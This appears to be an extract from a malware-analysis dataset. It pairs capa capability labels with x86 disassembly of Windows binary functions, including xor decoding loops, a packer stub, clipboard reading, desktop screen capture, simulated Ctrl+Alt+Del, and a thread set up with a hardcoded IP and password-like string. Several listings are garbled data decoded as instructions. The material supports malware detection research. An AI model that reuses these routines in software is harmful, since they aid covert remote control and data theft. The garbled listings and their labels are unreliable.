joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40266a
Capabilities:
Encode data using xor

Disassembly:
call 0x40251e
mov ecx, 0x207
call 0x40266a
rcr dword [esi + 0x30], 0x4c
push cs
pop es
xor byte [esi + ecx + 7], cl
loop 0x40266d
ljmp 0xb5b6:0xda8d5821

Function at 0x407c90
Capabilities:
Encode data using xor

Disassembly:
fnstcw word [ecx + 0x40]
add byte [edx + 0x1fcc407b], ah
jns 0x407cdb
add ch, dh
jns 0x407cdf
add byte [esi], ch
into
inc eax
add byte [eax], al
or byte [ecx], ch
or bl, bh
or byte [ecx + 8], ch
or byte [eax], cl
or byte [eax], cl
or bh, al
or byte [ebx + 8], dl
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
or byte [edx + 8], bl
or byte [eax], cl
or byte [eax], cl
xchg ebp, eax
or byte [eax], cl
or bh, ch
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
and cl, byte [eax]
jl 0x407cdd
or byte [edi + 0x8080808], cl
popal
out dx, eax
and eax, 0x8080808
or byte [eax], cl
or byte [ecx], al
add cl, byte [eax]
or byte [eax], cl
add cl, byte [edx]
or byte [ebx], al
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
or byte [edx], al
adc eax, 0xad080808
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
add dword [edx], eax
or byte [eax], cl
or byte [edx], al
or cl, byte [eax]
add ecx, dword [eax]
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
add dl, byte [0xad080808]
or byte [eax], cl
pop ebp
salc
or byte [eax], cl
or byte [eax], cl
or ah, bh
jb 0x407d11
sbb dword [eax], ecx
or byte [eax], cl
loopne 0x407d17
stosd dword es:[edi], eax
or byte [0x8060808], al
add eax, 0x8060808
or byte ss:[edi], al
or byte [edi], al
nop
pop esp
nop
nop
nop
nop
push ebp
mov ebp, esp
sub esp, 0x58
push esi
lea eax, [ebp - 0x58]
mov ebp, 0x8d107d5e
dec ebp
cld
pop esi
cdq
inc ebp
or al, 0x8d
push ebp
or al, 0x51
mov ecx, dword [ebp + 8]
push edx
push ss
push eax
push ecx

Function at 0x40976f
Capabilities:
Encode data using xor

Disassembly:
xchg ebp, eax
imul edx, dword [ebx - 0x51fc1798], 0xe850ab00
Function at 0x4013c0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x414fb0
push esi
push edi
mov edi, dword [esp + 0x10]
xor esi, esi
test edi, edi
je 0x41515a
push ebx
mov ebx, dword [esp + 0x10]
nop word [eax + eax]
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
sub byte [esi + ebx], 0x3b
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x49
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
xor byte [esi + ebx], 0x71
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xe3
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xf9
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
add esp, 0x44
push eax
call fcn.004013a7
add byte [esi + ebx], 0x8e
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x1a
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x38
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x19
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x12
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x49
add esp, 0x40
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x1d
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
xor byte [esi + ebx], 0x2e
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x71
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xf0
add esp, 0x30
inc esi
cmp esi, edi
jb 0x414fd0
pop ebx
pop edi
pop esi
ret

Function at 0x4035da
Capabilities:
Terminate process

Disassembly:
jmp 0x453329
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x45333a
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.00405920
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x40370b
Capabilities:
Query environment variable

Disassembly:
jmp 0x49c7e2
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x49c7f3
pop esi
ret
push ebx
push edi
push esi
call fcn.0049c6c9
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00403fe9
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x49c81b
push ebx
push esi
push edi
call fcn.00405713
add esp, 0xc
push 0
call fcn.00406262
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret
Function at 0x406200
Capabilities:
Resolve function by parsing pe exports

Disassembly:
insd dword es:[edi], dx
sub dh, bl
dec ebp
sub ebp, eax
sub eax, 0x74e8160d
mov ah, 0xf9
xor dword [eax], 0xcd310eeb
inc ebp
jns 0x40628f
stosd dword es:[edi], eax
mov cl, 0x33
sahf
rcr ecx, 0x40
arpl word fs:[ebx + 0xeeb2872], cx
ja 0x4061da
rol dword [esi], cl
mov edi, 0xb418d891
xor byte [eax + ebp*2 - 0x48f047ee], 0x4a
nop
das
lcall 0x32c7, 0x52e40feb
push ecx
xchg dword [edi + ebx], ecx
test eax, 0xdfc44d96
sub edi, dword [edi + 0x9eb202c]
fdiv dword [edx + edx*4 - 0x6e8fc764]
xor ch, byte [edx]

Function at 0x40a3d0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp - 0x77]
push esi
mov eax, dword [ecx + 4]
test ebx, ebp
jne 0x40a35f
add ecx, 0xfffffffd
push ecx
call dword [0x1f47195d]
inc ecx
rcr byte [esi + 0x5d], 0x91
pop edx
add byte [ebx + 0xc7532f8], al
cmp eax, 0x32
jne 0x40a370
mov eax, dword [ecx + 8]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
jmp 0x40a37f
cmp eax, 2
jne 0x40a358
insd dword es:[edi], dx
dec ecx
jns 0x40a3ca
dec dword [ebp + sym.imp.KERNEL32.dll_ReleaseMutex]
test eax, eax
jne 0x40a358
invalid
nop
and dl, byte [eax + 0x55909090]
mov ebp, esp
mov eax, dword [ebp + 0x27]
mov eax, dword [eax + 0x14]
test eax, eax
je 0x40a410
mov eax, 0xc83b
Function at 0x4013c5
Capabilities:
Encode data using xor

Disassembly:
jmp 0x4159d0
push esi
push edi
mov edi, dword [esp + 0x10]
xor esi, esi
test edi, edi
je 0x415b76
push ebx
mov ebx, dword [esp + 0x10]
nop word [eax + eax]
push str.Halloween_Beasts
push 0x4d34b0
call fcn.00402d79
push eax
call fcn.0040616d
add byte [esi + ebx], 0x1c
push str.Halloween_Beasts
push 0x4d34b0
call fcn.00402d79
push eax
call fcn.0040616d
add byte [esi + ebx], 0xd6
push str.Halloween_Beasts
push 0x4d34b0
call fcn.00402d79
push eax
call fcn.0040616d
xor byte [esi + ebx], 0x63
push str.Halloween_Beasts
push 0x4d34b0
call fcn.00402d79
push eax
call fcn.0040616d
add byte [esi + ebx], 0xf3
push str.Halloween_Beasts
push 0x4d34b0
call fcn.00402d79
push eax
call fcn.0040616d
add byte [esi + ebx], 0x25
push str.Halloween_Beasts
push 0x4d34b0
call fcn.00402d79
add esp, 0x44
push eax
call fcn.0040616d
add byte [esi + ebx], 0x48
push str.Halloween_Beasts
push 0x4d34b0
call fcn.00402d79
push eax
call fcn.0040616d
add byte [esi + ebx], 0x46
push str.Halloween_Beasts
push 0x4d34b0
call fcn.00402d79
push eax
call fcn.0040616d
add byte [esi + ebx], 0x14
push str.Halloween_Beasts
push 0x4d34b0
call fcn.00402d79
push eax
call fcn.0040616d
push str.Halloween_Beasts
push 0x4d34b0
call fcn.00402d79
push eax
call fcn.0040616d
add byte [esi + ebx], 0x24
push str.Halloween_Beasts
push 0x4d34b0
call fcn.00402d79
push eax
call fcn.0040616d
add byte [esi + ebx], 0xcc
add esp, 0x40
push str.Halloween_Beasts
push 0x4d34b0
call fcn.00402d79
push eax
call fcn.0040616d
add byte [esi + ebx], 0xef
push str.Halloween_Beasts
push 0x4d34b0
call fcn.00402d79
push eax
call fcn.0040616d
xor byte [esi + ebx], 0x1a
push str.Halloween_Beasts
push 0x4d34b0
call fcn.00402d79
push eax
call fcn.0040616d
add byte [esi + ebx], 0x38
push str.Halloween_Beasts
push 0x4d34b0
call fcn.00402d79
push eax
call fcn.0040616d
add byte [esi + ebx], 0x31
add esp, 0x30
inc esi
cmp esi, edi
jb 0x4159f0
pop ebx
pop edi
pop esi
ret

Function at 0x4035f3
Capabilities:
Terminate process

Disassembly:
jmp 0x453df9
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x453e0a
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.00405948
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x40371f
Capabilities:
Query environment variable

Disassembly:
jmp 0x49c842
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x49c853
pop esi
ret
push ebx
push edi
push esi
call fcn.0049c729
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00403fe4
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x49c87b
push ebx
push esi
push edi
call fcn.0040572c
add esp, 0xc
push 0
call fcn.004062b2
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret
Function at 0x408971
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x4085d8
inc ebx
sub ecx, 0xf801527a
call fcn.0040899e
add ebx, ebx
xor dword [edi], esi
add edi, 1
and ebx, ebx
cmp edi, eax
jne fcn.00408971
or ebx, ebx
inc ebx
ret
Function at 0x437d36
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x44f634]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.00437ccb
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.00423490
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x437d85
cmp dword [ebp - 0x1c], 5
jb 0x437d9d
jmp 0x437d99
cmp dword [ebp - 0x10], 1
jne 0x437d9d
cmp dword [ebp - 0x1c], 4
ja 0x437d99
jne 0x437d9d
cmp dword [ebp - 0x18], 0
jbe 0x437d9d
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x445044
call fcn.00437bbc
test eax, eax
jge 0x437dbe
mov byte [0x450e38], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.004217a8
add ebp, 0x78
leave
ret

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
mov ebx, 0x408ed0
nop
mov ecx, 0x359d42aa
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
mov ecx, 0x15762e5f
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x10001630
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, ecx
mov eax, dword [esi + 0xc8]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea ebx, [esi + 0xb8]
push ebx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov ecx, dword [ebp + 0x10]
push ecx
lea edi, [esi + 0xd4]
push 0xff
push edi
call fcn.100136a1
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
push edi
push edi
mov dword [esi + 0x2d4], eax
call fcn.10013af0
mov edx, dword [esi + 0x2d4]
mov ecx, dword [esi + 0x2e8]
add esp, 0xc
push 0
add edx, 8
push 0
mov dword [esi + 0x2d8], edx
mov edx, dword [ebp + 0xc]
mov eax, dword [ecx + 4]
mov eax, dword [eax]
push 0
add ecx, 4
push edx
mov edx, dword [ebp + 8]
push edx
call eax
test eax, eax
je 0x100016f9
lea edi, [esi + 0xc0]
push edi
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov ecx, dword [edi]
sub ecx, dword [ebx]
mov edx, dword [edi + 4]
sbb edx, dword [ebx + 4]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
fild qword [ebp - 8]
pop edi
fild qword [esi + 0xb0]
mov al, 1
fdiv qword [0x1002a988]
fdivp st(1)
fstp qword [esi + 0xa8]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10002050
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, ecx
mov eax, dword [esi + 0xc8]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ResetEvent]
push eax
call edi
mov ecx, dword [esi + 0x2ec]
push ecx
call edi
lea eax, [esi + 0xcc]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
lea ebx, [esi + 0xb8]
push ebx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov edx, dword [ebp + 0x10]
push edx
lea edi, [esi + 0xd4]
push 0xff
push edi
call fcn.100136a1
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
push edi
push edi
mov dword [esi + 0x2d4], eax
call fcn.10013af0
mov eax, dword [esi + 0x2d4]
mov ecx, dword [esi + 0x2e8]
add esp, 0xc
push 0
add eax, 8
push 0
mov dword [esi + 0x2d8], eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ecx + 4]
mov edx, dword [edx]
push 1
add ecx, 4
push eax
mov eax, dword [ebp + 8]
push eax
call edx
mov eax, dword [esi + 0x2ec]
push 0xfa0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x10002142
cmp eax, 0x102
je 0x1000212a
cmp eax, 0xffffffff
jne 0x10002137
mov ecx, dword [esi + 0x2ec]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [esi + 0x2ec]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 0xc
lea edi, [esi + 0xc0]
push edi
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [edi]
sub eax, dword [ebx]
mov ecx, dword [edi + 4]
sbb ecx, dword [ebx + 4]
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
fild qword [ebp - 8]
push 1
fild qword [esi + 0xb0]
lea eax, [esi + 0xcc]
push eax
fdiv qword [0x1002a988]
fdivp st(1)
fstp qword [esi + 0xa8]
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov edx, dword [esi + 0x2ec]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10002920
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10022c91
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x1002e1f0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov dword [esi], vtable.CManager.0
mov dword [esi + 4], ecx
mov eax, dword [ecx]
mov edx, dword [eax + 0xc]
push esi
call edx
xor ebx, ebx
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 8], eax
lea eax, [esi + 0x130]
mov dword [ebp - 4], ebx
push eax
mov dword [esi], vtable.CScreenDifManager.0
call fcn.100027d0
mov byte [ebp - 4], 1
push 0x130
mov dword [esi + 0x124], 8
call fcn.10013621
add esp, 4
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 2
cmp eax, ebx
je 0x100029b1
push ebx
push eax
lea ecx, [ebx + 8]
call fcn.10003a30
jmp 0x100029b3
xor eax, eax
mov byte [ebp - 4], 1
mov dword [esi + 0x1b4], eax
mov byte [esi + 0x114], 1
mov word [esi + 0x115], bx
mov byte [esi + 0x120], bl
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
mov edi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0x4e
mov dword [esi + 0x1b8], eax
call edi
push 0x4f
mov dword [esi + 0x118], eax
call edi
push 0x18
mov dword [esi + 0x11c], eax
call fcn.10013621
push ebx
push ebx
push esi
push 0x10003170
push ebx
push ebx
mov dword [esi + 0x1bc], eax
mov dword [esi + 0x1c0], 0x18
mov byte [esi + 0x1c8], bl
mov dword [esi + 0x1c4], 0x3e8
call fcn.100137c9
push ebx
push ebx
push esi
push 0x100032e0
push ebx
push ebx
mov dword [esi + 0x128], eax
call fcn.100137c9
mov dword [esi + 0x12c], eax
add esp, 0x34
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10002bb0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10022bb1
mov eax, dword fs:[0]
push eax
push ecx
mov eax, dword [0x1002e1f0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [esi + 0x128]
push 0xffffffffffffffff
push eax
mov byte [esi + 0x114], 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esi + 0x128]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esi + 0x1b4]
test ecx, ecx
je 0x10002c08
mov edx, dword [ecx]
mov eax, dword [edx]
push 1
call eax
push 0x130
call fcn.10013621
add esp, 4
mov dword [ebp - 0x10], eax
cmp edi, 3
jne 0x10002c35
mov dword [ebp - 4], 0
test eax, eax
je 0x10002c69
push 1
push eax
lea ecx, [edi + 1]
call fcn.10003a30
jmp 0x10002c6b
cmp edi, 7
jne 0x10002c52
mov dword [ebp - 4], 1
test eax, eax
je 0x10002c69
push 1
push eax
lea ecx, [edi + 1]
call fcn.10003a30
jmp 0x10002c6b
mov dword [ebp - 4], 2
test eax, eax
je 0x10002c69
push 0
push eax
mov ecx, edi
call fcn.10003a30
jmp 0x10002c6b
xor eax, eax
cmp byte [esi + 0x120], 0
mov dword [esi + 0x1b4], eax
mov ecx, eax
mov eax, 0xcc0020
je 0x10002c86
mov eax, 0x40cc0020
push eax
add ecx, 0x10
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push esi
push 0x10003170
push 0
push 0
mov dword [esi + 0x124], edi
call fcn.100137c9
add esp, 0x18
mov dword [esi + 0x128], eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x10003720
Capabilities:
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
push edi
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x10003768
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, dword [ebp + 8]
push edi
push ecx
push eax
call fcn.10013af0
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
pop ebp
ret 4

Function at 0x10003780
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10003805
push ebx
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebx, eax
test ebx, ebx
jne 0x100037ac
call dword [sym.imp.USER32.dll_CloseClipboard]
pop ebx
mov esp, ebp
pop ebp
ret 4
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalSize]
push ebx
lea esi, [eax + 1]
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push esi
mov dword [ebp - 4], eax
call fcn.10013621
mov ecx, dword [ebp - 4]
mov edi, eax
lea eax, [esi - 1]
push eax
push ecx
lea edx, [edi + 1]
push edx
mov byte [edi], 2
call fcn.10013af0
add esp, 0x10
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov eax, dword [ebp + 8]
push esi
push edi
push eax
call fcn.10001db0
push edi
call fcn.1001319d
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10003920
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push eax
push 0xff
push str.192.168.50.142
call fcn.100136a1
mov edx, dword [ebp + 0x14]
mov ecx, dword [ebp + 0xc]
push edx
push 0xff
push str.1234567123
mov dword [0x1002fa28], ecx
call fcn.100136a1
mov eax, dword [ebp + 0x10]
add esp, 0x18
push 0
push 0
push 0
push 0x10003810
push 0
push 0
mov dword [0x1002fc90], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
xor al, al
pop ebp
ret
Function at 0x10003e80
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, eax
test ebx, ebx
je 0x10003fec
cmp dword [esi + 0x14], 0
je 0x10003fec
call fcn.100042b0
test al, al
je 0x10003ecb
mov eax, dword [esi + 0x40]
mov ecx, dword [esi + 0x108]
push eax
push ecx
call dword [sym.imp.USER32.dll_ReleaseDC]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
mov dword [esi + 0x108], eax
call dword [sym.imp.USER32.dll_GetDC]
mov dword [esi + 0x40], eax
push edi
lea edx, [ebp - 8]
push edx
mov dword [esi + 0x18], 0
call dword [sym.imp.USER32.dll_GetCursorPos]
fild dword [ebp - 8]
fmul dword [esi + 0x2c]
call fcn.100222e0
fild dword [ebp - 4]
mov edi, eax
fmul dword [esi + 0x2c]
call fcn.100222e0
sub eax, dword [esi + 0x110]
sub edi, dword [esi + 0x10c]
mov dword [ebp - 4], eax
mov eax, dword [esi + 0x14]
add eax, dword [esi + 0x18]
mov dword [ebp - 8], edi
mov dword [eax], edi
mov ecx, dword [ebp - 4]
lea edx, [esi + 0x84]
mov dword [eax + 4], ecx
add dword [esi + 0x18], 8
push edx
call fcn.100039a0
mov ecx, dword [esi + 0x14]
add ecx, dword [esi + 0x18]
push 0xcc0020
mov byte [ecx], al
mov edx, dword [esi + 0x110]
mov ecx, dword [esi + 0x10c]
mov eax, dword [esi + 0x64]
inc dword [esi + 0x18]
push edx
mov edx, dword [esi + 0x40]
push ecx
mov ecx, dword [eax + 8]
push edx
mov edx, dword [eax + 4]
mov eax, dword [esi + 0x7c]
push ecx
push edx
push 0
push 0
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
mov ecx, dword [esi + 0x64]
mov edx, dword [ecx + 0x14]
mov eax, dword [esi + 0x14]
add eax, dword [esi + 0x18]
mov ecx, dword [esi + 0x74]
push edx
mov edx, dword [esi + 0x5c]
push eax
call fcn.100043a0
add eax, dword [esi + 0x18]
lea edi, [esi + 0x128]
push edi
mov dword [ebx], eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov ecx, dword [edi]
sub ecx, dword [esi + 0x120]
mov eax, dword [edi + 4]
lea ebx, [esi + 0x120]
sbb eax, dword [ebx + 4]
cmp eax, dword [esi + 0x11c]
jg 0x10003fdc
jl 0x10003fb1
cmp ecx, dword [esi + 0x118]
jae 0x10003fdc
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov ecx, dword [edi]
sub ecx, dword [ebx]
mov eax, dword [edi + 4]
sbb eax, dword [ebx + 4]
cmp eax, dword [esi + 0x11c]
jl 0x10003fb1
jg 0x10003fdc
cmp ecx, dword [esi + 0x118]
jb 0x10003fb1
push ebx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [esi + 0x14]
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10004260
Capabilities:
Simulate ctrl alt del

Disassembly:
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov esi, eax
call fcn.10004130
test eax, eax
jne 0x1000427b
pop esi
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageW]
test esi, esi
je 0x1000429b
call fcn.100041e0
mov eax, 1
pop esi
ret

Function at 0x10009c10
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.100099a0